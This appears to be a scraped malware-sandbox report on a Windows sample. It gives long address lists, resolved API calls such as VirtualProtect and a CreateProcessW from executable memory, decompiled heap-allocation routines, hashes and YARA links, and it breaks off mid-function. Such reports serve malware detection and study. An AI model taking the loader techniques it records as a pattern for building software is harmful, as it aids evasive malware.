0x00c55478
0x00c5547f
0x00c55486
0x00c5548d
0x00c55494
0x00c5549b
0x00c554a2
0x00c554a9
0x00c554b0
0x00c554b7
0x00c554be
0x00c554c5
0x00c554cc
0x00c554d3
0x00c554da
0x00c554e1
0x00c554e8
0x00c554ef
0x00c554f6
0x00c554fd
0x00c55504
0x00c5550b
0x00c55512
0x00c55519
0x00c55520
0x00c55527
0x00c5552e
0x00c55535
0x00c5553c
0x00c55543
0x00c5554a
0x00c55551
0x00c55558
0x00c5555f
0x00c55566
0x00c5556d
0x00c55574
0x00c5557b
0x00c55582
0x00c55589
0x00c55590
0x00c55597
0x00c5559e
0x00c555a5
0x00c555ac
0x00c555b3
0x00c555ba
0x00c555c1
0x00c555c8
0x00c555cf
0x00c555d6
0x00c555dd
0x00c555e4
0x00c555eb
0x00c555f2
0x00c555f9
0x00c55600
0x00c55607
0x00c5560e
0x00c55615
0x00c5561c
0x00c55623
0x00c5562a
0x00c55631
0x00c55638
0x00c5563f
0x00c55646
0x00c5564d
0x00c55654
0x00c5565b
0x00c55662
0x00c55669
0x00c55670
0x00c55677
0x00c5567e
0x00c55685
0x00c5568c
0x00c55693
0x00c5569a
0x00c556a1
0x00c556a8
0x00c556af
0x00c556b6
0x00c556bd
0x00c556c4
0x00c556cb
0x00c556d2
0x00c556d9
0x00c556e0
0x00c556e7
0x00c556ee
0x00c556f5
0x00c556fc
0x00c55703
0x00c5570a
0x00c55711
0x00c55718
0x00c5571f
0x00c55726
0x00c5572d
0x00c55734
0x00c5573b
0x00c55742
0x00c55749
0x00c55750
0x00c55757
0x00c5575e
0x00c55765
0x00c5576c
0x00c55773
0x00c5577a
0x00c55781
0x00c55788
0x00c5578f
0x00c55796
0x00c5579d
0x00c557a4
0x00c557ab
0x00c557b2
0x00c557b9
0x00c557c0
0x00c557c7
0x00c557ce
0x00c557d5
0x00c557dc
0x00c557e3
0x00c557ea
0x00c557f1
0x00c557f8
0x00c557ff
0x00c55806
0x00c5580d
0x00c55814
0x00c5581b
0x00c55822
0x00c55829
0x00c55830
0x00c55837
0x00c5583e
0x00c55845
0x00c5584c
0x00c55853
0x00c5585a
0x00c55861
0x00c55868
0x00c5586f
0x00c55876
0x00c5587d
0x00c55884
0x00c5588b
0x00c55892
0x00c55899
0x00c558a0
0x00c558a7
0x00c558ae
0x00c558b5
0x00c558bc
0x00c558c3
0x00c558ca
0x00c558d1
0x00c558d8
0x00c558df
0x00c558e6
0x00c558ed
0x00c558f4
0x00c558fb
0x00c55902
0x00c55909
0x00c55910
0x00c55917
0x00c5591e
0x00c55925
0x00c5592c
0x00c55933
0x00c5593a
0x00c55941
0x00c55948
0x00c5594f
0x00c55956
0x00c5595d
0x00c55964
0x00c5596b
0x00c55972
0x00c55979
0x00c55980
0x00c55987
0x00c5598e
0x00c55995
0x00c5599c
0x00c559a3
0x00c559aa
0x00c559b1
0x00c559b8
0x00c559bf
0x00c559c6
0x00c559cd
0x00c559d4
0x00c559db
0x00c559e2
0x00c559e9
0x00c559f0
0x00c559f7
0x00c559fe
0x00c55a05
0x00c55a0c
0x00c55a13
0x00c55a1a
0x00c55a21
0x00c55a28
0x00c55a2f
0x00c55a36
0x00c55a3d
0x00c55a44
0x00c55a4b
0x00c55a52
0x00c55a59
0x00c55a60
0x00c55a67
0x00c55a6e
0x00c55a75
0x00c55a7c
0x00c55a83
0x00c55a8a
0x00c55a91
0x00c55a98
0x00c55a9f
0x00c55aa6
0x00c55aad
0x00c55ab4
0x00c55abb
0x00c55ac2
0x00c55ac9
0x00c55ad0
0x00c55ad7
0x00c55ade
0x00c55ae5
0x00c55aec
0x00c55af3
0x00c55afa
0x00c55b01
0x00c55b08
0x00c55b0f
0x00c55b16
0x00c55b1d
0x00c55b24
0x00c55b2b
0x00c55b32
0x00c55b39
0x00c55b40
0x00c55b47
0x00c55b4e
0x00c55b55
0x00c55b5c
0x00c55b63
0x00c55b6a
0x00c55b71
0x00c55b78
0x00c55b7f
0x00c55b86
0x00c55b8d
0x00c55b94
0x00c55b9b
0x00c55ba2
0x00c55ba9
0x00c55bb0
0x00c55bb7
0x00c55bbe
0x00c55bc5
0x00c55bcc
0x00c55bd3
0x00c55bda
0x00c55be1
0x00c55be8
0x00c55bef
0x00c55bf6
0x00c55bfd
0x00c55c04
0x00c55c0b
0x00c55c12
0x00c55c19
0x00c55c20
0x00c55c27
0x00c55c2e
0x00c55c35
0x00c55c3c
0x00c55c43
0x00c55c4a
0x00c55c51
0x00c55c58
0x00c55c5f
0x00c55c66
0x00c55c6d
0x00c55c74
0x00c55c7b
0x00c55c82
0x00c55c89
0x00c55c90
0x00c55c97
0x00c55c9e
0x00c55ca5
0x00c55cac
0x00c55cb3
0x00c55cba
0x00c55cc1
0x00c55cc8
0x00c55ccf
0x00c55cd6
0x00c55cdd
0x00c55ce4
0x00c55ceb
0x00c55cf2
0x00c55cf6
0x00c55cfa
0x00c55cfe
0x00c55d02
0x00c55d06
0x00c55d0a
0x00c55d0e
0x00c55d12
0x00c55d16
0x00c55d1a
0x00c55d1e
0x00c55d22
0x00c55d26
0x00c55d2a
0x00c55d2e
0x00c55d32
0x00c55d36
0x00c55d3a
0x00c55d3e
0x00c55d42
0x00c55d46
0x00c55d4a
0x00c55d4e
0x00c55d52
0x00c55d56
0x00c55d5a
0x00c55d5e
0x00c55d62
0x00c55d66
0x00c55d6a
0x00c55d6e
0x00c55d72
0x00c55d76
0x00c55d7a
0x00c55d7e
0x00c55d82
0x00c55d86
0x00c55d8a
0x00c55d8e
0x00c55d92
0x00c55d96
0x00c55d9a
0x00c55d9e
0x00c55da2
0x00c55da6
0x00c55daa
0x00c55dae
0x00c55db2
0x00c55db6
0x00c55dba
0x00c55dbe
0x00c55dc2
0x00c55dc6
0x00c55dca
0x00c55dce
0x00c55dd2
0x00c55dd6
0x00c55dda
0x00c55dde
0x00c55de2
0x00c55de6
0x00c55dea
0x00c55dee
0x00c55df2
0x00c55df6
0x00c55dfa
0x00c55dfe
0x00c55e02
0x00c55e06
0x00c55e0a
0x00c55e0e
0x00c55e12
0x00c55e16
0x00c55e1a
0x00c55e1e
0x00c55e22
0x00c55e26
0x00c55e2a
0x00c55e2e
0x00c55e32
0x00c55e36
0x00c55e3a
0x00c55e3e
0x00c55e42
0x00c55e46
0x00c55e4a
0x00c55e69
0x00c55e75
0x00c55e7b
0x00c55ea4
0x00c55eb8
0x00c55ec2
0x00c55ef4
0x00c55ef9
0x00c55efc
0x00c55efe
0x00c55f27
0x00c55f2c
0x00c55f2f
0x00c55f32
0x00c55f36
0x00c55f6b
0x00c55f6f
0x00c55f76
0x00c55f7f
0x00c55f84
0x00c55f87
0x00c55f87
0x00c55f8d
0x00c55f91
0x00c55fa8
0x00c55fa8
0x00c55faa
0x00c55fc9
0x00c55fca
0x00c55fcf
0x00000000
0x00c55f93
0x00c55f93
0x00c55f9a
0x00c55fa2
0x00c55fa2
0x00c55fa6
0x00c55fe3
0x00c55fe3
0x00c55fea
0x00c56002
0x00c56006
0x00c56023
0x00c56027
0x00c56061
0x00c56066
0x00c56069
0x00c5606b
0x00c56077
0x00c56089
0x00c56089
0x00c5608c
0x00c5608f
0x00000000
0x00000000
0x00c560a3
0x00c560aa
0x00c560ad
0x00c560cd
0x00c560de
0x00c560ea
0x00c560f0
0x00c560f2
0x00c56108
0x00c5610e
0x00c56110
0x00c56128
0x00c5612f
0x00c56131
0x00c56146
0x00c56146
0x00c56148
0x00000000
0x00c56150
0x00c5613b
0x00c56142
0x00c56144
0x00c56170
0x00c56175
0x00c5617b
0x00c56184
0x00c56187
0x00c5618b
0x00c562c1
0x00c562c1
0x00c562c3
0x00000000
0x00c562cb
0x00c56194
0x00c5619b
0x00000000
0x00c56216
0x00c5621a
0x00c56237
0x00c56237
0x00c56239
0x00c5623e
0x00c56241
0x00000000
0x00c56241
0x00c5621f
0x00c56222
0x00c56225
0x00c56228
0x00c5622b
0x00c5622e
0x00c56231
0x00c56235
0x00000000
0x00c5624b
0x00000000
0x00000000
0x00c562b5
0x00000000
0x00000000
0x00c56250
0x00c56254
0x00c56265
0x00c56268
0x00c5626b
0x00c5626e
0x00c56271
0x00c56274
0x00c56277
0x00c5627b
0x00c5628c
0x00c5628c
0x00c5628e
0x00c56293
0x00c56296
0x00000000
0x00c56296
0x00c5627d
0x00c56281
0x00c56287
0x00c5628a
0x00c562a0
0x00c562a5
0x00c562a8
0x00c562af
0x00000000
0x00c562af
0x00000000
0x00c5628a
0x00c56256
0x00000000
0x00000000
0x00c561dc
0x00c561e0
0x00c561fd
0x00c561fd
0x00c561ff
0x00c56204
0x00c56207
0x00000000
0x00c56207
0x00c561e5
0x00c561e8
0x00c561eb
0x00c561ee
0x00c561f1
0x00c561f4
0x00c561f7
0x00c561fb
0x00000000
0x00c56211
0x00000000
0x00000000
0x00c561a2
0x00c561a6
0x00c561c3
0x00c561c3
0x00c561c5
0x00000000
0x00c561cd
0x00c561ae
0x00c561ba
0x00c561bd
0x00c561c1
0x00c562d5
0x00c56080
0x00c56083
0x00c56083
0x00c56086
0x00000000
0x00c56086
0x00000000
0x00000000
0x00000000
0x00000000
0x00c5619b
0x00000000
0x00c56144
0x00c56112
0x00000000
0x00c56112
0x00c560f4
0x00000000
0x00c560f4
0x00c560bd
0x00c560c4
0x00c560c7
0x00000000
0x00000000
0x00000000
0x00c560c7
0x00c562da
0x00c562de
0x00c562e6
0x00c562e6
0x00c562ea
0x00c562f2
0x00c562f2
0x00c562f6
0x00c56312
0x00c56312
0x00c56316
0x00c56352
0x00c56356
0x00c563bc
0x00c56358
0x00c56388
0x00c56388
0x00c56318
0x00c5634a
0x00c5634a
0x00000000
0x00c563c2
0x00c562f8
0x00c562fc
0x00000000
0x00000000
0x00c562fe
0x00c562fe
0x00c56300
0x00000000
0x00c56308
0x00c562ec
0x00c562f0
0x00000000
0x00000000
0x00000000
0x00c562f0
0x00c562e0
0x00c562e4
0x00000000
0x00000000
0x00000000
0x00c562e4
0x00000000
0x00c5606d
0x00000000
0x00c56036
0x00c56015
0x00000000
0x00c5601b
0x00c55ff2
0x00c55ff3
0x00000000
0x00c55ffb
0x00000000
0x00c55fa6
0x00c55f9c
0x00c55fa0
0x00000000
0x00000000
0x00000000
0x00c55fa0
0x00c55f91
0x00c55f46
0x00c55f47
0x00c55f4c
0x00c55f54
0x00c55f59
0x00000000
0x00c55f61
0x00c55f00
0x00c55f02
0x00000000
0x00c55f0a
0x00c55ec4
0x00c55ec6
0x00c55ece
0x00c55ed3
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetConsoleWindow), ref: 00C54D63
GetProcAddress.KERNEL32(00000000), ref: 00C54D6A
GetModuleHandleW.KERNEL32(kernel32.dll,VirtualProtect), ref: 00C54D80
GetProcAddress.KERNEL32(00000000), ref: 00C54D87
VirtualProtect.KERNELBASE ref: 00C55E7B
GetDC.USER32(00000000), ref: 00C55E9D
GrayStringA.USER32(00000000), ref: 00C55EA4
MessageBoxA.USER32 ref: 00C55EB8

Strings

4, xrefs: 00C55D46
u, xrefs: 00C55E2A
W, xrefs: 00C5523A
u, xrefs: 00C55D8A
P, xrefs: 00C559CD
P, xrefs: 00C5587D
v, xrefs: 00C5541D
#, xrefs: 00C54E3C
t, xrefs: 00C550FF
`, xrefs: 00C55C9E
E, xrefs: 00C55192
V, xrefs: 00C55DEE
P, xrefs: 00C557C0
V, xrefs: 00C553C2
U, xrefs: 00C55AD7
H, xrefs: 00C55868
%, xrefs: 00C55D16
h, xrefs: 00C55597
4, xrefs: 00C55C7B
x, xrefs: 00C54FA8
^, xrefs: 00C55DA2
@, xrefs: 00C55925
U, xrefs: 00C55042
E, xrefs: 00C55432
V, xrefs: 00C54F4D
E, xrefs: 00C553D0
S, xrefs: 00C5522C
<, xrefs: 00C552F7
V, xrefs: 00C55233
V, xrefs: 00C55486
W, xrefs: 00C5573B
N, xrefs: 00C553E5
h, xrefs: 00C5539F
0, xrefs: 00C55726
+, xrefs: 00C55DFE
GetConsoleWindow, xrefs: 00C54D59
>, xrefs: 00C55CE4
j, xrefs: 00C555CF
S, xrefs: 00C5569A
(, xrefs: 00C554D3
U, xrefs: 00C556AF
, xrefs: 00C54FCB
P, xrefs: 00C5562A
H, xrefs: 00C54FFC
V, xrefs: 00C55424
u, xrefs: 00C54E20
Q, xrefs: 00C54F38
(, xrefs: 00C558E6
+, xrefs: 00C559DB
U, xrefs: 00C54F23
P, xrefs: 00C54FC4
,, xrefs: 00C55C6D
_, xrefs: 00C54F07
t, xrefs: 00C55DDA
3, xrefs: 00C552D4
^, xrefs: 00C54F0E
*, xrefs: 00C55D3E
W, xrefs: 00C54E51
S, xrefs: 00C55543
E, xrefs: 00C554E1
X, xrefs: 00C54FD9
3, xrefs: 00C54E35
M, xrefs: 00C55DE6
j, xrefs: 00C55A91
<, xrefs: 00C54F8C
E, xrefs: 00C5506C
E, xrefs: 00C55494
A, xrefs: 00C55E1A
3, xrefs: 00C5514C
0, xrefs: 00C55AAD
U, xrefs: 00C551ED
h, xrefs: 00C55463
S, xrefs: 00C54F46
P, xrefs: 00C556A1
P, xrefs: 00C550B9
P, xrefs: 00C558CA
kernel32.dll, xrefs: 00C54D5E
], xrefs: 00C55DB2
h, xrefs: 00C55519
@, xrefs: 00C55972
r, xrefs: 00C5513E
u, xrefs: 00C557DC
P, xrefs: 00C55A3D
4, xrefs: 00C55C97
S, xrefs: 00C555C8
b, xrefs: 00C55C74
h, xrefs: 00C55718
h, xrefs: 00C55A9F
V, xrefs: 00C557CE
[, xrefs: 00C55DA6
E, xrefs: 00C5564D
j, xrefs: 00C5570A
V, xrefs: 00C55A36
Q, xrefs: 00C54F3F
9, xrefs: 00C55574
@, xrefs: 00C55272
;, xrefs: 00C550EA
3, xrefs: 00C54F70
$, xrefs: 00C55210
S, xrefs: 00C55AC9
0, xrefs: 00C559B8
2, xrefs: 00C554A9
@, xrefs: 00C55447
e, xrefs: 00C552FE
P, xrefs: 00C5553C
E, xrefs: 00C557B2
_, xrefs: 00C5515A
F, xrefs: 00C5583E
p, xrefs: 00C551B5
Q, xrefs: 00C5546A
M, xrefs: 00C55057
j, xrefs: 00C5596B
*, xrefs: 00C55C89
*, xrefs: 00C55CEB
^, xrefs: 00C55E32
U, xrefs: 00C55892
h, xrefs: 00C552E2
@, xrefs: 00C5501F
W, xrefs: 00C54F54
+, xrefs: 00C5599C
@, xrefs: 00C552B8
S, xrefs: 00C55742
N, xrefs: 00C55478
4, xrefs: 00C55CDD
8, xrefs: 00C54FA1
U, xrefs: 00C559F0
[, xrefs: 00C55168
>, xrefs: 00C54ED6
@, xrefs: 00C55A98
U, xrefs: 00C55DBA
C, xrefs: 00C55D62
t, xrefs: 00C55088
*, xrefs: 00C55C4A
], xrefs: 00C55E36
u, xrefs: 00C55130
U, xrefs: 00C557F1
U, xrefs: 00C55DCA
], xrefs: 00C5517D
$, xrefs: 00C55003
V, xrefs: 00C55367
\, xrefs: 00C55383
S, xrefs: 00C559D4
=, xrefs: 00C55471
F, xrefs: 00C54E97
W, xrefs: 00C55AE5
E, xrefs: 00C55A4B
V, xrefs: 00C55305
W, xrefs: 00C55AC2
Y, xrefs: 00C550E3
h, xrefs: 00C555DD
Y, xrefs: 00C55D9A
], xrefs: 00C54F15
2, xrefs: 00C55CC1
r, xrefs: 00C55D7E
U, xrefs: 00C54DFD
U, xrefs: 00C55902
}, xrefs: 00C55D52
kernel32.dll, xrefs: 00C54D7B
U, xrefs: 00C55B63
E, xrefs: 00C55B1D
l, xrefs: 00C55B40
0, xrefs: 00C5524F
VirtualProtect, xrefs: 00C54D76
4, xrefs: 00C55BC5
(, xrefs: 00C5592C
S, xrefs: 00C55590
u, xrefs: 00C55A05
h, xrefs: 00C55A13
d, xrefs: 00C55241
E, xrefs: 00C550F1
Q, xrefs: 00C55BA2
W, xrefs: 00C557C7
;, xrefs: 00C55129
j, xrefs: 00C555BA
u, xrefs: 00C54EF9
i, xrefs: 00C55328
t, xrefs: 00C558AE
P, xrefs: 00C55B32
S, xrefs: 00C557A4
U, xrefs: 00C55114
U, xrefs: 00C55638
T, xrefs: 00C55884
F, xrefs: 00C55122
_, xrefs: 00C55D9E
U, xrefs: 00C5595D
^, xrefs: 00C55161
h, xrefs: 00C559AA
4, xrefs: 00C55C04
j, xrefs: 00C55C27
h, xrefs: 00C55344
N, xrefs: 00C55D2E
<, xrefs: 00C55845
Q, xrefs: 00C55B2B
U, xrefs: 00C55750
h, xrefs: 00C55401
u, xrefs: 00C55DF6
}, xrefs: 00C54F62
D, xrefs: 00C54F9A
@, xrefs: 00C55287
V, xrefs: 00C54E12
G, xrefs: 00C54F85
u, xrefs: 00C55948
], xrefs: 00C55313

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc$GrayMessageProtectStringVirtual
String ID: $#$$$$$%$($($($*$*$*$*$+$+$+$,$0$0$0$0$2$2$3$3$3$3$4$4$4$4$4$4$8$9$;$;$<$<$<$=$>$>$@$@$@$@$@$@$@$@$A$C$D$E$E$E$E$E$E$E$E$E$E$E$F$F$F$G$GetConsoleWindow$H$H$M$M$N$N$N$P$P$P$P$P$P$P$P$P$P$P$Q$Q$Q$Q$Q$S$S$S$S$S$S$S$S$S$S$T$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$V$V$V$V$V$V$V$V$V$V$V$VirtualProtect$W$W$W$W$W$W$W$X$Y$Y$[$[$\$]$]$]$]$]$^$^$^$^$_$_$_$`$b$d$e$h$h$h$h$h$h$h$h$h$h$h$h$i$j$j$j$j$j$j$kernel32.dll$kernel32.dll$l$p$r$r$t$t$t$t$u$u$u$u$u$u$u$u$u$v$x$}$}
API String ID: 761337040-3553242234
Opcode ID: 74f55d627957c4f022128c507f947bddaf2625edbcb9276083521e4c359f5e3e
Instruction ID: 58c8717317ec434f1bb417428d8cb8c907c22787a21a06b97d59ba7ee3c0fd5f
Opcode Fuzzy Hash: 74f55d627957c4f022128c507f947bddaf2625edbcb9276083521e4c359f5e3e
Instruction Fuzzy Hash: C3E2CC209087E9C9DB32C67C8C587CEBE715B27325F0843D9D5E82A2D2C7B50B85DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00C30FD3, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 428processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00C311B1

Strings

D, xrefs: 00C3100A

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 419b6484de02aace74f35c9f5aede50f801e8cd019605d628a7e12e123100749
Instruction ID: 754dda6e4d469b0bea11237ec4f19b21ca05b70145c5b94ad08248e33e8a0d38
Opcode Fuzzy Hash: 419b6484de02aace74f35c9f5aede50f801e8cd019605d628a7e12e123100749
Instruction Fuzzy Hash: E102F171E20209EFDB14DF94C985BEDBBB5BF08305F288069E915AB291D774AE81DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00C30AB5, Relevance: 1.7, APIs: 1, Instructions: 236COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000,000ED800,000ED800,000ED800), ref: 00C30D2B

Memory Dump Source

Source File: 00000002.00000002.208078781.0000000000C30000.00000040.00000001.sdmp, Offset: 00C30000, based on PE: false

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: bed7a3398f48b35d480a894dbf79a7b4c449e5e0d39f812b319312c21bee7789
Instruction ID: 67965f98a0e93893dd79329b5dd83ac78ec77e00ea83d67406a02eecefb044bf
Opcode Fuzzy Hash: bed7a3398f48b35d480a894dbf79a7b4c449e5e0d39f812b319312c21bee7789
Instruction Fuzzy Hash: C7817B15A64388A8DB60CBE4F952BBD63B1AF44B10F20544BE50CEE2E1D7B50DD5E70A

Uniqueness

Uniqueness Score: -1.00%

Function 00C806FB, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C806FB(signed int _a4, signed int _a8) {
				void* _t8;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0xca4cc4, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E00C798BF();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E00C61D29(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						__eflags = E00C87799(__eflags, _t19);
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x00c80701
0x00c80706
0x00c80714
0x00c80714
0x00c8071a
0x00c8071c
0x00c8071c
0x00c80733
0x00c8073c
0x00c80744
0x00000000
0x00000000
0x00c80724
0x00c80726
0x00c80748
0x00c8074d
0x00c80753
0x00000000
0x00c80753
0x00c8072f
0x00c80731
0x00000000
0x00000000
0x00c80731
0x00000000
0x00c80733
0x00c8070c
0x00c80712
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C7B53A,00000001,00000364,00000006,000000FF,?,?,00C61D2E,00C7CA94,?,?,00C79D3C), ref: 00C8073C

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 35f05bf383e42b16c742f4b5ef4399c1ed5ed79022802606056260c06a261652
Instruction ID: 1f2b593174a997cc87a4d737f9c4b53db3ee9711b166a30dd222f7c37749169c
Opcode Fuzzy Hash: 35f05bf383e42b16c742f4b5ef4399c1ed5ed79022802606056260c06a261652
Instruction Fuzzy Hash: F2F0BB3110592966BBF17A269C46B5F37589F41778F394115A81897180DA30F9049FE9

Uniqueness

Uniqueness Score: -1.00%

Function 00C7CAA8, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C7CAA8(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00C61D29(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0xca4cc4, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E00C798BF();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E00C87799(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00c7caae
0x00c7cab4
0x00c7cae6
0x00c7caeb
0x00c7caf1
0x00000000
0x00c7caf1
0x00c7cab8
0x00c7caba
0x00c7caba
0x00c7cad1
0x00c7cada
0x00c7cae2
0x00000000
0x00000000
0x00c7cac2
0x00c7cac4
0x00000000
0x00000000
0x00c7cacd
0x00c7cacf
0x00000000
0x00000000
0x00c7cacf
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00C87E19,00CA19F8,00000018,00000003,00CA1A18,00000028,00C7A830,00000016,00C7B454), ref: 00C7CADA

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cccc04164e5fa7390d340a2376a60e64d381ebadb7894e0e4e36635bf239334b
Instruction ID: 1f8a3e5c8d5697dcb7b4b7e08f0fdca381eafeec16ab6a856d941c4ee1e7c52e
Opcode Fuzzy Hash: cccc04164e5fa7390d340a2376a60e64d381ebadb7894e0e4e36635bf239334b
Instruction Fuzzy Hash: 24E0E52154522F57E731AA7A9C86B5F364CDB423B2F198119EC2CD20C0DB60CD00B5E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C59680, Relevance: 58.9, APIs: 32, Strings: 1, Instructions: 1115
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E00C59680(signed int* _a4, signed int* _a8) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				char* _v20;
				signed int _v24;
				signed int _v28;
				char* _v32;
				signed int _v36;
				signed int _v40;
				char _v48;
				signed int _v52;
				char* _v56;
				signed int _v60;
				void* _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				char* _v96;
				signed int _v100;
				char _v108;
				char _v116;
				char _v124;
				char _v132;
				char _v140;
				void* __ebx;
				intOrPtr _t404;
				signed int _t406;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				signed int _t415;
				signed int _t418;
				signed int _t421;
				signed int _t422;
				signed int _t424;
				intOrPtr* _t427;
				signed int _t429;
				signed int _t430;
				signed int _t433;
				signed int _t434;
				signed int* _t435;
				unsigned int _t446;
				signed char _t448;
				unsigned int _t449;
				signed char _t451;
				signed int _t457;
				signed int _t471;
				signed int _t472;
				signed int _t473;
				signed int _t496;
				signed int _t500;
				signed int _t507;
				signed int _t514;
				signed int _t519;
				signed int _t524;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				signed int _t540;
				signed char _t543;
				signed int* _t547;
				signed int _t548;
				intOrPtr* _t550;
				signed int _t552;
				unsigned int _t559;
				signed char _t561;
				void* _t563;
				unsigned int _t568;
				signed char _t570;
				unsigned int _t577;
				signed char _t579;
				signed int _t583;
				void* _t586;
				char** _t614;
				void* _t618;
				void* _t622;
				intOrPtr* _t625;
				signed int _t627;
				signed int* _t632;
				signed int _t638;
				signed int _t642;
				void* _t655;
				signed char _t670;
				signed char _t673;
				char** _t678;
				void* _t681;
				intOrPtr* _t689;
				intOrPtr* _t692;
				signed int* _t695;
				signed int _t696;
				signed int _t697;
				signed int _t700;
				signed int _t701;
				signed int _t706;
				signed int _t717;
				signed int _t719;
				signed int _t724;
				signed int _t726;
				signed int _t727;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t742;
				signed int _t745;
				signed int _t748;
				signed int _t750;
				signed int _t761;
				unsigned int _t762;
				signed int _t770;
				char** _t793;
				signed char _t811;
				void* _t830;
				signed int _t833;
				unsigned int _t844;
				signed int* _t853;
				signed int _t854;
				signed int _t855;
				signed int _t861;
				signed int _t863;
				void* _t864;
				signed int _t867;
				signed int _t868;
				signed int _t871;
				signed int _t872;
				signed int _t873;
				signed int _t875;
				signed int _t879;
				signed int _t881;
				void* _t884;

				_t404 =  *0xca3e38; // 0x0
				_t867 = 0;
				_v100 = _t404 -  *0xca3e3c;
				_v20 = 0;
				_v16 = 0;
				_t406 = E00C5E855();
				_t853 = _a8;
				_t696 = _t406;
				_t697 =  *_t853;
				if(_t697 == 0) {
					L2:
					_v92 = _t867;
					L3:
					if(_t696 == 0xffff) {
						_t695 = _a4;
						_t695[1] = _t867;
						_t695[1] = 2;
						 *_t695 = _t867;
						return _t695;
					}
					__eflags = _t696 - 0xfffe;
					if(_t696 == 0xfffe) {
						E00C59302(_t697, _a4, 1, _t853);
						return _a4;
					}
					__eflags = _t696 - 0xfffd;
					if(_t696 == 0xfffd) {
						_t692 = _a4;
						 *_t692 = _t697;
						_t16 = _t853 + 4; // 0x4488b0f
						 *((intOrPtr*)(_t692 + 4)) =  *_t16;
						return _t692;
					}
					_t871 = _t696 & 0x00008000;
					__eflags = _t871;
					_v40 = _t871;
					if(_t871 == 0) {
						L98:
						E00C59440( &_v20, _t853);
						__eflags = _t871;
						if(_t871 != 0) {
							L104:
							__eflags = (_t696 & 0x0000fc00) - 0x7c00;
							if(__eflags != 0) {
								_t868 = _v40;
								_t872 = _t696;
								_t854 = _t696;
								__eflags = _t868;
								if(__eflags == 0) {
									_t855 = _t854 & 0x00006000;
									_t412 = 0;
									_t413 = _t412 & 0xffffff00 | __eflags == 0x00000000;
									_t873 = _t872 & 0x00001800;
									__eflags = _t873;
								} else {
									_t873 = _t872 & 0x00001800;
									__eflags = _t873 - 0x800;
									_t413 = 0 | _t873 == 0x00000800;
									_t855 = _t854 & 0x00006000;
								}
								__eflags = _t413;
								_v28 = _t855;
								_t700 = _t696;
								_t414 = _t696;
								if(_t413 == 0) {
									_t415 = _t414 & 0x00001000;
									_t701 = _t700 & 0x00000400;
									__eflags = _t701;
									_v40 = _t701;
									_v36 = _t415;
								} else {
